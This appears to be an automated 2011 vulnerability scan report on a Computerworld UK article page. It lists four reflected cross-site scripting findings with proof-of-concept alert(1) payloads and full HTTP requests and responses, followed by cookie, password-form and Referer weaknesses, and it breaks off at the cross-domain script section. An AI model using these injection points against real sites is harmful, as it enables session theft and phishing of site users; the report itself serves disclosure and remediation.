CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Tue Apr 26 18:29:00 CDT 2011.



Loading

1. Cross-site scripting (reflected)

1.1. http://www.computerworlduk.com/news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/ [REST URL parameter 2]

1.2. http://www.computerworlduk.com/news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/ [REST URL parameter 4]

1.3. http://www.computerworlduk.com/news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/ [name of an arbitrarily supplied request parameter]

1.4. http://www.computerworlduk.com/news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/ [olo parameter]

2. Cleartext submission of password

3. Cookie scoped to parent domain

4. Cookie without HttpOnly flag set

5. Password field with autocomplete enabled

6. Cross-domain Referer leakage

7. Cross-domain script include

8. Email addresses disclosed



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.computerworlduk.com/news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/ [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.computerworlduk.com
Path:   /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1f6b6'-alert(1)-'495846e9164 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /news/security1f6b6'-alert(1)-'495846e9164/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/?olo=rss HTTP/1.1
Host: www.computerworlduk.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
Set-Cookie: JSESSIONID=6230c9946d4f7f8f19aa225e614b1c31725e;path=/
Set-Cookie: JSESSIONID=6230c9946d4f7f8f19aa225e614b1c31725e;domain=.computerworlduk.com;path=/
Date: Tue, 26 Apr 2011 21:51:16 GMT
Connection: close


       <!DOCTYPE html>
   <html>
       <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' src='/CFIDE/scripts/ajax/resources/cf/images/loading.gif'/>";
_cf_contextpath=""
...[SNIP]...
<script type="text/javascript">
           tweetmeme_url = 'http://www.computerworlduk.com/news/security1f6b6'-alert(1)-'495846e9164/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/?olo=rss';
           tweetmeme_source = 'computerworlduknews';
           tweetmeme_style = 'compact';
       </script>
...[SNIP]...

1.2. http://www.computerworlduk.com/news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/ [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.computerworlduk.com
Path:   /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 42e0f'-alert(1)-'d59c4c6d91f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability42e0f'-alert(1)-'d59c4c6d91f/?olo=rss HTTP/1.1
Host: www.computerworlduk.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
Set-Cookie: JSESSIONID=6230eb99a08fa0861f926d6c603c3116e2c6;path=/
Set-Cookie: JSESSIONID=6230eb99a08fa0861f926d6c603c3116e2c6;domain=.computerworlduk.com;path=/
Date: Tue, 26 Apr 2011 21:51:51 GMT
Connection: close


       <!DOCTYPE html>
   <html>
       <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' src='/CFIDE/scripts/ajax/resources/cf/images/loading.gif'/>";
_cf_contextpath=""
...[SNIP]...
<script type="text/javascript">
           tweetmeme_url = 'http://www.computerworlduk.com/news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability42e0f'-alert(1)-'d59c4c6d91f/?olo=rss';
           tweetmeme_source = 'computerworlduknews';
           tweetmeme_style = 'compact';
       </script>
...[SNIP]...

1.3. http://www.computerworlduk.com/news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.computerworlduk.com
Path:   /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ac01a'-alert(1)-'1b0ab91431a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/?olo=rss&ac01a'-alert(1)-'1b0ab91431a=1 HTTP/1.1
Host: www.computerworlduk.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
Set-Cookie: JSESSIONID=6230b3aed862f61cf09ff5d36f2ca4d73231;path=/
Set-Cookie: JSESSIONID=6230b3aed862f61cf09ff5d36f2ca4d73231;domain=.computerworlduk.com;path=/
Date: Tue, 26 Apr 2011 21:50:15 GMT
Connection: close


       <!DOCTYPE html>
   <html>
       <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' src='/CFIDE/scripts/ajax/resources/cf/images/loading.gif'/>";
_cf_contextpath=""
...[SNIP]...
<script type="text/javascript">
           tweetmeme_url = 'http://www.computerworlduk.com/news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/?olo=rss&ac01a'-alert(1)-'1b0ab91431a=1';
           tweetmeme_source = 'computerworlduknews';
           tweetmeme_style = 'compact';
       </script>
...[SNIP]...

1.4. http://www.computerworlduk.com/news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/ [olo parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.computerworlduk.com
Path:   /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/

Issue detail

The value of the olo request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c6016'-alert(1)-'c1d90134a6 was submitted in the olo parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/?olo=rssc6016'-alert(1)-'c1d90134a6 HTTP/1.1
Host: www.computerworlduk.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
Set-Cookie: JSESSIONID=623050f4d306140c22f631527f42125e6914;path=/
Set-Cookie: JSESSIONID=623050f4d306140c22f631527f42125e6914;domain=.computerworlduk.com;path=/
Date: Tue, 26 Apr 2011 21:49:46 GMT
Connection: close


       <!DOCTYPE html>
   <html>
       <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' src='/CFIDE/scripts/ajax/resources/cf/images/loading.gif'/>";
_cf_contextpath=""
...[SNIP]...
<script type="text/javascript">
           tweetmeme_url = 'http://www.computerworlduk.com/news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/?olo=rssc6016'-alert(1)-'c1d90134a6';
           tweetmeme_source = 'computerworlduknews';
           tweetmeme_style = 'compact';
       </script>
...[SNIP]...

2. Cleartext submission of password  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.computerworlduk.com
Path:   /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/?olo=rss HTTP/1.1
Host: www.computerworlduk.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;path=/
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;domain=.computerworlduk.com;path=/
Date: Tue, 26 Apr 2011 21:49:09 GMT
Connection: close


       <!DOCTYPE html>
   <html>
       <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' src='/CFIDE/scripts/ajax/resources/cf/images/loading.gif'/>";
_cf_contextpath=""
...[SNIP]...
</a>
       <form name="fbLoginForm" id="fbLoginFormID" action="/login/" method="post" class="genericForm ajaxForm" enctype="multipart/form-data">
           
       <div id="emailFormFieldContainer" class="textformFieldContainer formFieldContainer mandatory">
...[SNIP]...
<span class="inputWrapper">
                           <input type="password" name="password" id="passwordFieldID" class="formpassword " value="**********" onclick="if(this.value=='**********')this.value=''" />
                       </span>
...[SNIP]...

3. Cookie scoped to parent domain  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.computerworlduk.com
Path:   /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/?olo=rss HTTP/1.1
Host: www.computerworlduk.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;path=/
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;domain=.computerworlduk.com;path=/
Date: Tue, 26 Apr 2011 21:49:09 GMT
Connection: close


       <!DOCTYPE html>
   <html>
       <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' src='/CFIDE/scripts/ajax/resources/cf/images/loading.gif'/>";
_cf_contextpath=""
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.computerworlduk.com
Path:   /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/?olo=rss HTTP/1.1
Host: www.computerworlduk.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;path=/
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;domain=.computerworlduk.com;path=/
Date: Tue, 26 Apr 2011 21:49:09 GMT
Connection: close


       <!DOCTYPE html>
   <html>
       <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' src='/CFIDE/scripts/ajax/resources/cf/images/loading.gif'/>";
_cf_contextpath=""
...[SNIP]...

5. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.computerworlduk.com
Path:   /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/?olo=rss HTTP/1.1
Host: www.computerworlduk.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;path=/
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;domain=.computerworlduk.com;path=/
Date: Tue, 26 Apr 2011 21:49:09 GMT
Connection: close


       <!DOCTYPE html>
   <html>
       <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' src='/CFIDE/scripts/ajax/resources/cf/images/loading.gif'/>";
_cf_contextpath=""
...[SNIP]...
</a>
       <form name="fbLoginForm" id="fbLoginFormID" action="/login/" method="post" class="genericForm ajaxForm" enctype="multipart/form-data">
           
       <div id="emailFormFieldContainer" class="textformFieldContainer formFieldContainer mandatory">
...[SNIP]...
<span class="inputWrapper">
                           <input type="password" name="password" id="passwordFieldID" class="formpassword " value="**********" onclick="if(this.value=='**********')this.value=''" />
                       </span>
...[SNIP]...

6. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.computerworlduk.com
Path:   /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/?olo=rss HTTP/1.1
Host: www.computerworlduk.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;path=/
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;domain=.computerworlduk.com;path=/
Date: Tue, 26 Apr 2011 21:49:09 GMT
Connection: close


       <!DOCTYPE html>
   <html>
       <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' src='/CFIDE/scripts/ajax/resources/cf/images/loading.gif'/>";
_cf_contextpath=""
...[SNIP]...
<![endif]-->
   <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost&amp;embeds=true&amp;charset=utf-8&amp;services=digg%2Cslashdot%2Cstumbleupon%2Creddit%2Cmixx%2Cdelicious%2Ctechnorati%2Cyahoo_buzz%2Cfacebook&amp;style=default&amp;publisher=dff1640b-f471-4781-9319-20022d66580e&amp;linkfg=%236e6e6e"></script>
...[SNIP]...
<li><a href="http://www.facebook.com/Computerworlduk" title="Computerworld UK on Facebook" target="_blank" onclick="var s=s_gi(s_account);s.linkTrackVars='eVar13,events';s.linkTrackEvents='event6';s.events='event6';s.eVar13='sidebar;'+omnitureSection+';facebook';s.tl(this,'o','sidebar;'+omnitureSection+';facebook');"><img src="http://media.computerworlduk.com/graphics/socialMedia/facebook.png" alt="Facebook" width="24" height="25" />
...[SNIP]...
<li><a href="http://digg.com/ComputerwrldUK" title="Computerworld UK on Digg" target="_blank" onclick="var s=s_gi(s_account);s.linkTrackVars='eVar13,events';s.linkTrackEvents='event6';s.events='event6';s.eVar13='sidebar;'+omnitureSection+';digg';s.tl(this,'o','sidebar;'+omnitureSection+';digg');"><img src="http://media.computerworlduk.com/graphics/socialMedia/digg.png" alt="Digg" width="24" height="25" />
...[SNIP]...
<li><a href="http://twitter.com/computerworlduk" title="Computerworld UK on Twitter" target="_blank" onclick="var s=s_gi(s_account);s.linkTrackVars='eVar13,events';s.linkTrackEvents='event6';s.events='event6';s.eVar13='sidebar;'+omnitureSection+';twitter';s.tl(this,'o','sidebar;'+omnitureSection+';twitter');"><img src="http://media.computerworlduk.com/graphics/socialMedia/twitter.png" alt="Twitter" width="25" height="25" />
...[SNIP]...
<li><a href="http://www.linkedin.com/groups?mostPopular=&gid=3204150" title="Computerworld UK on LinkedIn" target="_blank" onclick="var s=s_gi(s_account);s.linkTrackVars='eVar13,events';s.linkTrackEvents='event6';s.events='event6';s.eVar13='sidebar;'+omnitureSection+';linkedin';s.tl(this,'o','sidebar;'+omnitureSection+';linkedin');"><img src="http://media.computerworlduk.com/graphics/socialMedia/linked-in.png" alt="LinkedIn" width="24" height="25" />
...[SNIP]...
<p id="followTwitterConvo">Follow the conversation at @<a href="http://twitter.com/Think_Print" target="_blank">Think_Print</a>
...[SNIP]...
<noscript>
                       <a href="http://ad.uk.doubleclick.net/jump/new.computerworlduk.com/security1;dcopt=ist;;kw=news,NULL,NULL,;sz=468x60,728x90;ord=1303854549166?">
                           <img src="http://ad.uk.doubleclick.net/ad/new.computerworlduk.com/security1;dcopt=ist;;kw=news,NULL,NULL,;sz=468x60,728x90;ord=1303854549166?" border="0" alt="" />
                       </a>
...[SNIP]...
<p class="articleInfo">By Ellen Messmer | <a href="http://www.networkworld.com/" title="Network World US">Network World US</a>
...[SNIP]...
Alerts team has thanked it for the information provided about an "arbitrary URL redirect vulnerability" in www.java.com. YGN published advisory information about this vulnerability both on the public <a href="http://seclists.org/fulldisclosure/2011/Apr/388">SecLists online</a> and the <a href="http://yehg.net/lab/pr0js/advisories/sites/java.com/java.com_url_redirection">hacker group's own website</a>
...[SNIP]...
YGN and Oracle, which took place over the last week, seems to have followed a far different course than the hacker group's recent interaction with McAfee, which ended last month with YGN disclosing it <a href="http://www.networkworld.com/news/2011/032811-mcafee-security-holes.html" target="_blank">had found a vulnerability in the McAfee website</a>
...[SNIP]...
<p><a href="http://www.networkworld.com/topics/wan.html"></a>
...[SNIP]...
</script>
       <script type="text/javascript" src="http://widgets.digg.com/buttons.js"></script>
...[SNIP]...
<li id="tweetArticle"><script type="text/javascript" src="http://tweetmeme.com/i/scripts/button.js"></script></li>
           <li id="diggArticle" class="last"><a href="http://digg.com/submit?url=http%3A%2F%2Fwww%2Ecomputerworlduk%2Ecom%2Fnews%2Fsecurity%2F3276305%2Foracle%2Dresponds%2Dto%2Dhacker%2Dgroup%2Dand%2Dpatches%2Djavacom%2Dvulnerability%2F%3Folo%3Drss&title=Oracle%20responds%20to%20hacker%20group%20and%20patches%20Java%2Ecom%20vulnerability" class="DiggThisButton DiggCompact"><span style="display:none">
...[SNIP]...
<noscript>
                   <a href="http://ad.uk.doubleclick.net/jump/new.computerworlduk.com/security1;kw=news,NULL,NULL,;sz=250x250,300x250,336x280;ord=1303854549166?">
                       <img src="http://ad.uk.doubleclick.net/ad/new.computerworlduk.com/security1;kw=news,NULL,NULL,;sz=250x250,300x250,336x280;ord=1303854549166?" border="0" alt="" />
                   </a>
...[SNIP]...
<noscript>
                   <a href="http://ad.uk.doubleclick.net/jump/new.computerworlduk.com/security2;kw=news,NULL,NULL,;sz=250x250,300x250,336x280;ord=1303854549166?">
                       <img src="http://ad.uk.doubleclick.net/ad/new.computerworlduk.com/security2;kw=news,NULL,NULL,;sz=250x250,300x250,336x280;ord=1303854549166?" border="0" alt="" />
                   </a>
...[SNIP]...
<noscript>
                   <a href="http://ad.uk.doubleclick.net/jump/new.computerworlduk.com/security2;kw=news,NULL,NULL,;sz=468x60,728x90;ord=1303854549166?">
                       <img src="http://ad.uk.doubleclick.net/ad/new.computerworlduk.com/security2;kw=news,NULL,NULL,;sz=468x60,728x90;ord=1303854549166?" border="0" alt="" />
                   </a>
...[SNIP]...
<li><a href="http://www.techworld.com" title="Visit Techworld" target="_blank">Techworld</a>
...[SNIP]...
<li><a href="http://www.cio.co.uk" title="Visit CIO UK" target="_blank">CIO UK</a>
...[SNIP]...
<li><a href="http://www.macworld.co.uk" title="Visit Macworld" target="_blank">Macworld</a>
...[SNIP]...
<li><a href="http://www.pcadvisor.co.uk" title="Visit PC Advisor" target="_blank">PC Advisor</a>
...[SNIP]...
<li><a href="http://www.macvideo.tv" title="Visit MacVideo" target="_blank">MacVideo</a>
...[SNIP]...
<li><a href="http://www.digitalartsonline.co.uk" title="Visit Digital Arts" target="_blank">Digital Arts</a>
...[SNIP]...
<li><a href="http://www.marketbase.co.uk" title="Visit Marketbase" target="_blank">Marketbase</a>
...[SNIP]...
<li><a href="http://www.cfoworld.co.uk" title="CFO World" target="_blank">CFO World</a>
...[SNIP]...

7. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.computerworlduk.com
Path:   /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

